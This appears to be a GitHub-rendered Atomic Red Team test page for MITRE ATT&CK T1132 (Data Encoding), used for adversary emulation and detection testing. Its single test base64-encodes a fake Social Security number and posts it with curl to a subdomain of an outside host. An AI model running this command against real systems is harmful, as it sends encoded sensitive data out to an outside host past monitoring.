Skip to content

Latest commit

 

History

History
36 lines (20 loc) · 1.22 KB

T1132.md

File metadata and controls

36 lines (20 loc) · 1.22 KB

T1132 - Data Encoding

Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.

Atomic Tests


Atomic Test #1 - Base64 Encoded data.

Utilizing a common technique for posting base64 encoded data.

Supported Platforms: macOS, Linux

Inputs:

Name Description Type Default Value
destination_url Destination URL to post encoded data. string redcanary.com
base64_data Encoded data to post using fake Social Security number 111-11-1111. string MTExLTExLTExMTE=

Attack Commands: Run with sh!

echo -n 111-11-1111 | base64
curl -XPOST #{base64_data}.#{destination_url}